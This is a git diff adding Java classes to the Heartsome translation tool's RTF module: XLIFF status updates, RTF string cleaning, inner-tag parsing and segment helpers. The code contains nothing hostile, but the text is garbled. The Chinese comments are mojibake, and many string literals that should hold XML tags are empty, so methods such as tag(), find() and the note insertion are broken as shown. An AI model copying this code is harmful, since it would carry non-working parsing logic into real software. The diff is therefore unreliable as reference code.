VTDUtils.CREATE_IF_NOT_EXIST); + } + } + vu.bind(xm.outputAndReparse()); + xm.bind(vu.getVTDNav()); + // æ›´æ–°é”å®šçŠ¶æ€ + if (setStatus.contains(RTFConstants.STATUS_LOCKED)) { + xm = vu.update(null, xm, "//trans-unit/@translate", "no", VTDUtils.CREATE_IF_NOT_EXIST); + vu.bind(xm.outputAndReparse()); + } + xm.bind(vu.getVTDNav()); + } + vn = vu.getVTDNav(); + vn.toElement(VTDNav.ROOT); + + if (statusIndex != -1 && statusIndex < lstPerRowValue.size()) { + // 疑问行 + String needReview = vu.getCurrentElementAttribut("hs:needs-review", null); + if ((needReview == null || needReview.equalsIgnoreCase("no")) + && setStatus.contains(RTFConstants.STATUS_NEED_REVIEW)) { + // 添加疑问行属性 + xm = vu.update(null, xm, "//trans-unit/@hs:needs-review", "yes", VTDUtils.CREATE_IF_NOT_EXIST); + vu.bind(xm.outputAndReparse()); + } else if (needReview != null && needReview.equalsIgnoreCase("yes") + && !setStatus.contains(RTFConstants.STATUS_NEED_REVIEW)) { + // 删除疑问行属性 + // xm = vu.delete(null, xm, "./@needs-review", + // VTDUtils.PILOT_TO_END); + if (xm == null) { + xm = new XMLModifier(vn); + } + xm.removeAttribute(vn.getAttrVal("hs:needs-review") - 1); + vu.bind(xm.outputAndReparse()); + } + vn = vu.getVTDNav(); + vn.toElement(VTDNav.ROOT); + xm = new XMLModifier(vn); + // ä¸æ·»åŠ åˆ°è®°å¿†åº“ + String sendToTM = vu.getCurrentElementAttribut("hs:send-to-tm", null); + if ((sendToTM == null || sendToTM.equalsIgnoreCase("yes")) + && setStatus.contains(RTFConstants.STATUS_NOT_SEND_TO_TM)) { + // 添加 hs:send-to-tm 属性 + xm = vu.update(null, xm, "//trans-unit/@hs:send-to-tm", "no", VTDUtils.CREATE_IF_NOT_EXIST); + } else if (sendToTM != null && sendToTM.equalsIgnoreCase("no") + && !setStatus.contains(RTFConstants.STATUS_NOT_SEND_TO_TM)) { + // 删除 hs:send-to-tm 属性 + // xm = vu.delete(null, xm, "//trans-unit/@hs:send-to-tm", + // VTDUtils.PILOT_TO_END); + xm.removeAttribute(vn.getAttrVal("hs:send-to-tm") - 1); + } + vu.bind(xm.outputAndReparse()); + } + xm.bind(vu.getVTDNav()); + // æ›´æ–° note 节点:先删除原有的 note 节点,然åŽæ–°å¢ž + int index = lstHeader.indexOf(RTFConstants.RTF_MODEL_COLUMN_COMMENTS); + if (index != -1 && index < lstPerRowValue.size()) { + String rtfNoteText = net.heartsome.cat.common.util.TextUtil.xmlToString(lstPerRowValue.get(index)); + xm = vu.delete(null, xm, "//trans-unit/note", VTDUtils.PILOT_TO_END); + vu.bind(xm.outputAndReparse()); + xm.bind(vu.getVTDNav()); + if (rtfNoteText != null && !rtfNoteText.trim().equals("")) { + String systemUser = Activator.getDefault().getPreferenceStore() + .getString(IPreferenceConstants.SYSTEM_USER); + String noteElement = ""; + xm = vu.insert(null, xm, "//trans-unit/text()", noteElement); + } + } + vu.bind(xm.outputAndReparse()); + return vu.getElementFragment(); + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + return null; + + } + + private void saveToFile(final XMLModifier xm, final String filePath) throws ModifyException, TranscodeException, + IOException { + + if (xliffEditor != null) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + try { + FileOutputStream fos = new FileOutputStream(filePath); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); + + bos.close(); + fos.close(); + } catch (FileNotFoundException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (ModifyException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (TranscodeException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + XLFHandler handler = xliffEditor.getXLFHandler(); + // åˆ·æ–°ç•Œé¢ + if (handler.getVnMap().containsKey(xliffPath)) { + handler.resetCache(); + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffPath, true)) { + + handler.getVnMap().put(xliffPath, vg.getNav()); + xliffEditor.autoResize(); + xliffEditor.refresh(); + } + } + } + }); + + } + + } + + /** + * Clean. + * @param source + * the source + * @return the string + */ + private String clean(String source) { + String clean = ""; //$NON-NLS-1$ + int from = source.indexOf("blipuid"); //$NON-NLS-1$ + if (from != -1) { + StringTokenizer tk = new StringTokenizer(source, "\\{}", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.length() < 1000) { + clean = clean + cleanString(token); + } else { + clean = clean + token; + } + } + } else { + return cleanString(source); + } + + return clean; + } + + private String cleanString(String string) { + String clean = ""; //$NON-NLS-1$ + int length = string.length(); + for (int i = 0; i < length; i++) { + char c = string.charAt(i); + if (c <= '\u007F') { + clean = clean + c; + } else if (c == '\uE007') { + clean = clean + "}"; //$NON-NLS-1$ + } else if (c == '\uE008') { + clean = clean + "{"; //$NON-NLS-1$ + } else if (c == '\uE011') { + clean = clean + "\\\\"; //$NON-NLS-1$ + } else { + // Forget about conversion rules that use \' because there + // can + // be encoding issues, specially when handling Mac text. + // Do the OpenOffice trick for all extended characters + // instead. + clean = clean + "\\uc0\\u" + (int) c + " "; //$NON-NLS-1$ //$NON-NLS-2$ + } + } + return clean; + } + + /** + * Contains text. + * @param segment + * the segment + * @return true, if successful + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private boolean containsText(String segment) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + segment //$NON-NLS-1$ + + ""; //$NON-NLS-1$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + List rootContent = doc.getRootElement().getContent(); + Iterator it = rootContent.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + if (taggedRTF) { + s = removeTradosTag(s); + } + if (!s.trim().equals("")) { //$NON-NLS-1$ + s = s.trim(); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + if (c != '.' && c != ',' && c != '(' && c != ')' && c != '-' && c != '\u2022' && c != '\u00B7' + && c != '\u2219' && c != '\u25D8' && c != '\u25E6') { + return true; + } + } + } + } + } + return false; + } + + /** + * Removes the trados tag. + * @param s + * the s + * @return the string + */ + private String removeTradosTag(String s) { + s = replaceToken(s, '\uE008' + "0>", ""); //$NON-NLS-1$ //$NON-NLS-2$ + s = replaceToken(s, "<0" + '\uE007', ""); //$NON-NLS-1$ //$NON-NLS-2$ + int from = s.indexOf("<" + '\uE007'); //$NON-NLS-1$ + int to = s.indexOf('\uE008' + ">"); //$NON-NLS-1$ + if (from != -1 && to != -1) { + s = s.substring(0, from) + s.substring(to + 2); + } + return s; + } + + /** + * Removes the ctrl. + * @param token + * the token + * @return the string + */ + private String removeCtrl(String token) { + int i = 1; + // skip ctrl word + for (; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '\\' || c == '*' || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z')) { + continue; + } + break; + } + // skip numeric argument + for (; i < token.length(); i++) { + char c = token.charAt(i); + if (c == '-' || (c >= '0' && c <= '9')) { + continue; + } + break; + } + StringBuffer buffer = new StringBuffer(); + for (; i < token.length(); i++) { + char c = token.charAt(i); + buffer.append(c); + } + String result = buffer.toString(); + if (result.length() == 0) { + return ""; //$NON-NLS-1$ + } + if (Character.isSpaceChar(result.charAt(0))) { + return result.substring(1); + } + return result; + } + + /** + * Find. + * @param text + * the text + * @param token + * the token + * @param from + * the from + * @return the int + */ + public int find(String text, String token, int from) { + int length = text.length(); + for (int i = from; i < length; i++) { + String remaining = text.substring(i); + if (remaining.startsWith(""); //$NON-NLS-1$ + if (ends != -1) { + remaining = remaining.substring(ends + 5); + i = i + ends + 5; + } + } + String trimmed = removePh(remaining); + if (trimmed.startsWith(token)) { + return i; + } + } + return -1; + } + + /** + * Removes the ph. + * @param string + * the string + * @return the string + */ + private String removePh(String string) { + String result = ""; //$NON-NLS-1$ + int starts = string.indexOf(""); //$NON-NLS-1$ + if (ends != -1) { + string = string.substring(ends + 5); + } + starts = string.indexOf("", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + string = replaceToken(string, "}", "}"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "{", "{"); //$NON-NLS-1$ //$NON-NLS-2$ + } + meat = string; + + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + string //$NON-NLS-1$ + + ""; //$NON-NLS-1$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + Element root = doc.getRootElement(); + List rootContent = root.getContent(); + Iterator it = rootContent.iterator(); + int tags = 0; + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.ELEMENT_NODE) { + tags++; + } + } + if (tags == 0) { + return; + } + if (tags == 1) { + Node n = rootContent.get(0); + if (n.getNodeType() == Node.ELEMENT_NODE) { + // starts with a tag + Element e = new Element(n); + if (!(taggedRTF && e.toString().indexOf(winInternal) != -1)) { + rootContent.remove(n); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + } + return; + } + n = rootContent.get(rootContent.size() - 1); + if (n.getNodeType() == Node.ELEMENT_NODE) { + // ends with a tag + Element e = new Element(n); + if (!(taggedRTF && e.toString().indexOf(winInternal) != -1)) { + rootContent.remove(n); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + } + return; + } + } + Node n1 = rootContent.get(0); + Node n2 = rootContent.get(rootContent.size() - 1); + if (tags == 2 && n1.getNodeType() == Node.ELEMENT_NODE && n2.getNodeType() == Node.ELEMENT_NODE) { + // starts and ends with a tag, no tags in the middle + rootContent.remove(n1); + rootContent.remove(n2); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + return; + } + if (n1.getNodeType() == Node.ELEMENT_NODE) { + // remove initial tag + Element e1 = new Element(n1); + if (!(taggedRTF && e1.toString().indexOf(winInternal) != -1)) { + rootContent.remove(n1); + root.setContent(rootContent); + meat = root.toString().substring(9, root.toString().length() - 10); + } + } + } + + /** + * 删除字符串中的标记 + * @param string + * the string + * @return the string + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private String tag(String string) throws SAXException, IOException { + if (!taggedRTF && string.indexOf("") != -1) { //$NON-NLS-1$ + string = string.replaceAll("", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + while (string.indexOf("") != -1) { + int i = string.indexOf(""); + int e = string.indexOf(""); + string = string.substring(0, i) + string.substring(e + "".length()); + } + return string; + } + + /** + * Gets the style. + * @param style + * the style + * @return the style + */ + private String getStyle(String style) { + StringTokenizer tk = new StringTokenizer(style, "\\", true); //$NON-NLS-1$ + String token = tk.nextToken(); + if (token.equals("{")) { //$NON-NLS-1$ + token = tk.nextToken(); + } + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + // Skip the \\* + token = tk.nextToken() + tk.nextToken(); + } + return token.trim(); + } + + /** + * Gets the value. + * @param control + * the control + * @param style + * the style + * @return the value + */ + private String getValue(String control, String style) { + StringTokenizer tk = new StringTokenizer(style, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.equals("\\*")) { //$NON-NLS-1$ + token = token + tk.nextToken() + tk.nextToken(); + } + if (getControl(token).equals(control)) { + return getValue(token); + } + } + return "1"; //$NON-NLS-1$ + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/InnerTagUtil.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/InnerTagUtil.java new file mode 100644 index 0000000..8b02b52 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/InnerTagUtil.java @@ -0,0 +1,98 @@ +package net.heartsome.cat.ts.ui.rtf.innertag; + +import java.util.ArrayList; +import java.util.Comparator; +import java.util.List; +import java.util.TreeMap; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.ts.ui.rtf.PlaceHolderRTFModeBuilder; + +/** + * 内部标记工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class InnerTagUtil { + + private static PlaceHolderRTFModeBuilder placeHolderCreater = new PlaceHolderRTFModeBuilder(); + + private InnerTagUtil() { + } + + /** + * 将带内部标记的文本由XMLæ ¼å¼è½¬æ¢ä¸ºæ˜¾ç¤ºæ ¼å¼çš„文本 + * @param originalValue + * 原始的带内部标记的XMLæ ¼å¼çš„文本 + * @return ; + */ + public static TreeMap parseXmlToDisplayValue(StringBuffer originalValue) { + // 得到标签映射map(key: 内部标记;value: 内部标记实体) + TreeMap tags = new TreeMap(new Comparator() { + public int compare(String str1, String str2) { + int num1 = InnerTagUtil.getStyledTagNum(str1); + int num2 = InnerTagUtil.getStyledTagNum(str2); + if (num1 == num2) { + return str1.indexOf(String.valueOf(num1)) - str2.indexOf(String.valueOf(num1)); + } + return num1 - num2; + } + }); + if (originalValue == null || originalValue.length() == 0) { + return tags; + } + + RTFInnerTagFactory innerTagFactory = new RTFInnerTagFactory(originalValue.toString(), placeHolderCreater); + originalValue.replace(0, originalValue.length(), innerTagFactory.getText()); // æå–标记之åŽçš„文本。 + + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + + if (innerTagBeans != null && innerTagBeans.size() > 0) { + for (int i = 0; i < innerTagBeans.size(); i++) { + String placeHolder = placeHolderCreater.getPlaceHolder(innerTagBeans, i); + tags.put(placeHolder, innerTagBeans.get(i)); + } + } + + return tags; + } + + /** + * 将带内部标记的文本由XMLæ ¼å¼è½¬æ¢ä¸ºæ˜¾ç¤ºæ ¼å¼çš„文本 + * @param originalValue + * 原始的带内部标记的XMLæ ¼å¼çš„文本 + * @return ; + */ + public static ArrayList parseXml(StringBuffer originalValue) { + if (originalValue == null || originalValue.length() == 0) { + return null; + } + + RTFInnerTagFactory innerTagFactory = new RTFInnerTagFactory(originalValue.toString(), placeHolderCreater); + originalValue.replace(0, originalValue.length(), innerTagFactory.getText()); // æå–标记之åŽçš„文本。 + + return innerTagFactory.getLstSegment(); + } + + /** + * 得到内部标记索引å·ã€‚ + * @param innerTag + * 内部标记 + * @return ; + */ + public static int getStyledTagNum(String innerTag) { + int res = 0; + for (int i = 0; i < innerTag.length(); i++) { + char ch = innerTag.charAt(i); + if (Character.isDigit(ch)) { + res = res * 10 + Integer.parseInt(String.valueOf(ch)); + } else { + if (res > 0) { + return res; + } + } + } + return -1; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/RTFInnerTagFactory.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/RTFInnerTagFactory.java new file mode 100644 index 0000000..1820d48 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/RTFInnerTagFactory.java @@ -0,0 +1,240 @@ +package net.heartsome.cat.ts.ui.rtf.innertag; + +import static net.heartsome.cat.common.innertag.TagType.END; +import static net.heartsome.cat.common.innertag.TagType.STANDALONE; +import static net.heartsome.cat.common.innertag.TagType.START; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Stack; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.innertag.factory.DefaultPlaceHolderBuilder; +import net.heartsome.cat.common.innertag.factory.IInnerTagFactory; +import net.heartsome.cat.common.innertag.factory.IPlaceHolderBuilder; + +/** + * 标记工厂类实现,该类与 XliffInnerTagFactory 相比,添加了获å–标记在æºæ–‡æœ¬ä¸­çš„ä½ç½®ï¼Œå†…å®¹ç­‰æ–¹å¼ + * @author peason + * @version + * @since JDK1.6 + */ +public class RTFInnerTagFactory implements IInnerTagFactory { + + private ArrayList beans = new ArrayList(); + + private String text; + + private IPlaceHolderBuilder placeHolderCreater; + + /** + * 内部标记工厂默认实现 + * @param xml + * XML文本 + */ + public RTFInnerTagFactory(String xml) { + this(xml, new DefaultPlaceHolderBuilder()); + } + + /** + * 内部标记工厂默认实现 + * @param placeHolderCreater + * å ä½ç¬¦åˆ›å»ºå™¨ + */ + public RTFInnerTagFactory(IPlaceHolderBuilder placeHolderCreater) { + this(null, placeHolderCreater); + } + + /** + * 内部标记工厂默认实现 + * @param xml + * XML文本 + * @param placeHolderCreater + * å ä½ç¬¦åˆ›å»ºå™¨ + */ + public RTFInnerTagFactory(String xml, IPlaceHolderBuilder placeHolderCreater) { + this.placeHolderCreater = placeHolderCreater; + this.text = parseInnerTag(xml); + } + + public String getText() { + return text; + } + + public List getInnerTagBeans() { + ArrayList innerTagBeans = new ArrayList(); + innerTagBeans.addAll(beans); + return innerTagBeans; + } + + private static final List standaloneTags = Arrays.asList("x", "bx", "ex", "ph"); + + private static final List normalTags = Arrays.asList("g", "bpt", "ept", "ph", "it", "mrk", "sub"); + + private Stack indexStack = new Stack(); // ç´¢å¼•é›†åˆ + + private int start = -1; + + private int maxIndex = 0; + + private boolean HasStartTag = false; + + /** æºæ–‡æœ¬è¢«æ ‡è®°åˆ†å‰²ä¹‹åŽçš„æ ‡è®°é›†åˆ */ + private ArrayList lstSegment = new ArrayList(); + + /** + * 将带内部标记的文本由XMLæ ¼å¼è½¬æ¢ä¸ºæ˜¾ç¤ºæ ¼å¼çš„文本 + * @param xml + * 原始的带内部标记的XMLæ ¼å¼çš„文本 + * @return ; + */ + public String parseInnerTag(String xml) { + if (xml == null || xml.length() == 0) { + return ""; + } + if (!indexStack.empty()) { + indexStack.clear(); + } + + StringBuffer sbOriginalValue = new StringBuffer(xml); + + int beanSize; + if (beans.size() > 0) { + for (int i = 0; i < beans.size(); i++) { + String content = beans.get(i).getContent(); + int index = sbOriginalValue.indexOf(content); + if (index > -1) { + SegmentText stText = new SegmentText(index, index + content.length(), content); + lstSegment.add(stText); + + String placeHolder = placeHolderCreater.getPlaceHolder(beans, i); + sbOriginalValue.replace(index, index + content.length(), placeHolder); + } + } + beanSize = beans.size(); + } else { + beanSize = -1; + } + + this.start = -1; // 起始索引 + + while ((start = sbOriginalValue.indexOf("<", start + 1)) > -1) { + + int end = sbOriginalValue.indexOf(">", start + 1); + if (end > -1) { + String xmlTag = sbOriginalValue.substring(start, end + 1); // æå–出的内部标记xmlå½¢å¼çš„文本 + String tagName = getTagName(xmlTag); + if (xmlTag.indexOf("/>", 1) > -1) { // 独立标签 + if (standaloneTags.contains(tagName) || normalTags.contains(tagName)) { + if ("bx".equals(tagName)) { + addInnerTagBean(START, sbOriginalValue, xmlTag, tagName); + } else if ("ex".equals(tagName)) { + addInnerTagBean(END, sbOriginalValue, xmlTag, tagName); + } else { + addInnerTagBean(STANDALONE, sbOriginalValue, xmlTag, tagName); + } + } + } else if (xmlTag.indexOf(" -1) { // 结æŸæ ‡ç­¾ + if (normalTags.contains(tagName)) { + addInnerTagBean(END, sbOriginalValue, xmlTag, tagName); + } + } else if (xmlTag.indexOf(">") > -1) { // 开始标签 + if (normalTags.contains(tagName)) { + if ("bpt".equals(tagName)) { + xmlTag = sbOriginalValue.substring(start, sbOriginalValue.indexOf("") + + "".length()); + addInnerTagBean(START, sbOriginalValue, xmlTag, tagName); + } else if ("ept".equals(tagName)) { + xmlTag = sbOriginalValue.substring(start, sbOriginalValue.indexOf("") + + "".length()); + addInnerTagBean(END, sbOriginalValue, xmlTag, tagName); + } else if ("ph".equals(tagName) || "it".equals(tagName)) { + String tempTagName = ""; + xmlTag = sbOriginalValue.substring(start, sbOriginalValue.indexOf(tempTagName) + + tempTagName.length()); + addInnerTagBean(STANDALONE, sbOriginalValue, xmlTag, tagName); + } else { + addInnerTagBean(START, sbOriginalValue, xmlTag, tagName); + } + } + } + } + } + + if (beanSize > 0) { // 设置为错误标记 + for (int i = beanSize; i < beans.size(); i++) { + beans.get(i).setWrongTag(true); + } + } + + return sbOriginalValue.toString(); + } + + /** + * @param tagType + * @param text + * @param tagContent + * @param tagName + * ; + */ + private void addInnerTagBean(TagType tagType, StringBuffer text, String tagContent, String tagName) { + /* 在文本中æ’入索引 */ + int index = -1; + if (tagType == START) { + HasStartTag = true; + maxIndex++; + indexStack.push(maxIndex); + index = maxIndex; + } else if (tagType == END) { + if (!HasStartTag) { + maxIndex++; + indexStack.push(maxIndex); + } + HasStartTag = false; + if (!indexStack.empty()) { + index = indexStack.pop(); + } + } else if (tagType == STANDALONE) { + maxIndex++; + index = maxIndex; + } + + if (index > -1) { + InnerTagBean bean = new InnerTagBean(index, tagName, tagContent, tagType); + beans.add(bean); + + SegmentText stText = new SegmentText(start, start + tagContent.length(), tagContent); + lstSegment.add(stText); + + String placeHolder = placeHolderCreater.getPlaceHolder(beans, beans.size() - 1); + text.replace(start, start + tagContent.length(), placeHolder); + } + } + + /** + * 得到标记的å称 + * @param xmlTag + * XMLæ ¼å¼çš„标记 + * @return 标记å称; + */ + private String getTagName(String xmlTag) { + if (xmlTag.indexOf(" -1) { // 结æŸæ ‡è®° + return xmlTag.substring(2, xmlTag.length() - 1); + } + int end = xmlTag.indexOf("/>", 1); // 独立标记 + if (end == -1) { + end = xmlTag.length() - 1; // 开始标记 + } + int tempIndex = xmlTag.indexOf(" ", 1); + if (tempIndex > -1 && tempIndex < end) { + end = tempIndex; + } + return xmlTag.substring(1, end); + } + + public ArrayList getLstSegment() { + return lstSegment; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/SegmentComparator.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/SegmentComparator.java new file mode 100644 index 0000000..c61c959 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/SegmentComparator.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.ts.ui.rtf.innertag; + +import java.util.Comparator; + +/** + * 对分割的标记进行排åºçš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +@SuppressWarnings("rawtypes") +public class SegmentComparator implements Comparator { + + public int compare(Object o1,Object o2) { + SegmentText st1 = (SegmentText)o1; + SegmentText st2 = (SegmentText)o2; + if (st1.getStartIndex() > st2.getStartIndex()) { + return 1; + } else if (st1.getStartIndex() < st2.getStartIndex()) { + return -1; + } else { + return 0; + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/SegmentText.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/SegmentText.java new file mode 100644 index 0000000..7163b12 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/innertag/SegmentText.java @@ -0,0 +1,56 @@ +package net.heartsome.cat.ts.ui.rtf.innertag; + +/** + * 分割文本类 + * @author peason + * @version + * @since JDK1.6 + */ +public class SegmentText { + + /** 文本在字符串中的开始索引 */ + private int startIndex; + + /** 文本在字符串中的结æŸç´¢å¼• */ + private int endIndex; + + /** 起始索引之间的内容 */ + private String content; + + /** + * 构造方法 + * @param startIndex + * @param endIndex + * @param content + * @param isTag + */ + public SegmentText(int startIndex, int endIndex, String content) { + this.startIndex = startIndex; + this.endIndex = endIndex; + this.content = content; + } + + public int getStartIndex() { + return startIndex; + } + + public void setStartIndex(int startIndex) { + this.startIndex = startIndex; + } + + public int getEndIndex() { + return endIndex; + } + + public void setEndIndex(int endIndex) { + this.endIndex = endIndex; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/Messages.java new file mode 100644 index 0000000..b51a844 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/Messages.java @@ -0,0 +1,108 @@ +package net.heartsome.cat.ts.ui.rtf.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + public static final String DIALOG_EXPORT_TITLE = "dialog.ExportRTFDilaog.Title"; + + public static final String DIALOG_EXPORT_XLIFF = "dialog.ExportRTFDilaog.lable.xliff"; + + public static final String DIALOG_EXPORT_XLIFF_BROWSE = "dialog.ExportRTFDilaog.btnBrowseXLIFF"; + + public static final String DIALOG_EXPORT_INFO = "dialog.ExportRTFDilaog.lable.lblInfo"; + + public static final String DIALOG_EXPORT_GROUP = "dialog.ExportRTFDilaog.grpExport"; + + public static final String DIALOG_EXPORT_STATUS = "dialog.ExportRTFDilaog.btnStatus"; + + public static final String DIALOG_EXPORT_COMMENT = "dialog.ExportRTFDilaog.btnComment"; + + public static final String DIALOG_EXPORT_PATH_RTF = "dialog.ExportRTFDilaog.label.rtfPath"; + + public static final String DIALOG_EXPORT_RTF_BROWSE = "dialog.ExportRTFDilaog.btnBrowseRTF"; + + public static final String DIALOG_EXPORT_INFO_0 = "dialog.ExportRTFDilaog.btnBrowseXLIFF.msg0"; + + public static final String DIALOG_EXPORT_INFO_1 = "dialog.ExportRTFDilaog.btnBrowseXLIFF.msg1"; + + public static final String DIALOG_EXPORT_INFO_2 = "dialog.ExportRTFDilaog.btnBrowseRTF.msg0"; + + public static final String DIALOG_EXPORT_OK_TITLE = "dialog.ExportRTFDilaog.ok.title"; + + public static final String DIALOG_EXPORT_OK_MSG_0 = "dialog.ExportRTFDilaog.ok.msg0"; + + public static final String DIALOG_EXPORT_OK_MSG_1 = "dialog.ExportRTFDilaog.ok.msg1"; + + public static final String DIALOG_EXPORT_OK_MSG_2 = "dialog.ExportRTFDilaog.ok.msg2"; + + public static final String DIALOG_EXPORT_OK_MSG_3 = "dialog.ExportRTFDilaog.ok.msg3"; + + public static final String DIALOG_EXPORT_OK_MSG_4 = "dialog.ExportRTFDilaog.ok.msg4"; + + public static final String DIALOG_IMPORT_TITLE = "dialog.ImportRTFDialog.Title"; + + public static final String DIALOG_IMPORT_XLIFF = "dialog.ImportRTFDialog.lable.xliff"; + + public static final String DIALOG_IMPORT_XLIFF_BROWSE = "dialog.ImportRTFDialog.btnBrowseXLIFF"; + + public static final String DIALOG_IMPORT_RTF = "dialog.ImportRTFDialog.label.rtf"; + + public static final String DIALOG_IMPORT_RTF_BROWSE = "dialog.ImportRTFDialog.btnBrowseRTF"; + + public static final String DIALOG_IMPORT_XLIFF_INFO_0 = "dialog.ImportRTFDialog.btnBrowseXLIFF.msg0"; + + public static final String DIALOG_IMPORT_XLIFF_INFO_1 = "dialog.ImportRTFDialog.btnBrowseXLIFF.msg1"; + + public static final String DIALOG_IMPORT_RTF_INFO = "dialog.ImportRTFDialog.btnBrowseRTF.msg"; + + public static final String DIALOG_IMPORT_RTF_FILTER = "dialog.ImportRTFDialog.btnBrowseRTF.filter"; + + public static final String DIALOG_IMPORT_OK_TITLE = "dialog.ImportRTFDialog.ok.title"; + + public static final String DIALOG_IMPORT_OK_MSG_0 = "dialog.ImportRTFDialog.ok.msg0"; + + public static final String DIALOG_IMPORT_OK_MSG_1 = "dialog.ImportRTFDialog.ok.msg1"; + + public static final String DIALOG_IMPORT_OK_JOB_TITLE = "dialog.ImportRTFDialog.ok.jobTitle"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_0 = "importer.ImportRTFToXLIFF.jobTitle.0"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_1 = "importer.ImportRTFToXLIFF.jobTitle.1"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_2 = "importer.ImportRTFToXLIFF.jobTitle.2"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_3 = "importer.ImportRTFToXLIFF.jobTitle.3"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_4 = "importer.ImportRTFToXLIFF.jobTitle.4"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_5 = "importer.ImportRTFToXLIFF.jobTitle.5"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_6 = "importer.ImportRTFToXLIFF.jobTitle.6"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_7 = "importer.ImportRTFToXLIFF.jobTitle.7"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_8 = "importer.ImportRTFToXLIFF.jobTitle.8"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_9 = "importer.ImportRTFToXLIFF.jobTitle.9"; + + public static final String IMPORTRTFTOXLIFF_JOBTITLE_10 = "importer.ImportRTFToXLIFF.jobTitle.10"; + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.rtf.resource.rtf"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf.properties b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/resource/rtf.properties new file mode 100644 index 0000000..fdd9a58 --- /dev/null +++ 